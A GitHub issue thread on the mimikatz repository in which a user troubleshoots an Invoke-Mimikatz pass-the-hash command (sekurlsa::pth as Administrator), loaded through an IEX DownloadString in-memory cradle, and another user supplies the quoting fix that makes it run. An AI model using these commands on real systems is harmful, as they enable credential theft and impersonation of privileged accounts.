gentilkiwi / mimikatz

A little tool to play with Windows security
http://blog.gentilkiwi.com/mimikatz
19.5k stars 3.74k forks source link

PTH Missing argument #229

Open XemBryan opened 5 years ago

XemBryan commented 5 years ago

I'm loading to memory IEX (New-Object Net.WebClient).DownloadString('C:\Users\aki\Desktop\new\Invoke-Mimikatz.ps1') and then executing Invoke-Mimikatz pth with command: PS C:\Users\Administrator> Invoke-Mimikatz -Command 'sekurlsa::pth /user:Administrator /domain:CISCO' returns an error: ERROR kuhl_m_sekurlsa_pth ; Missing argument : user But the argument is there, I know I still not included Ntlm argument

gentilkiwi commented 5 years ago

You have problem with passing argument with PowerShell and Invoke-Mimikatz. I'm not the author of this one, only of mimikatz ;)

Raikia commented 5 years ago

Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:CISCO"'

That will work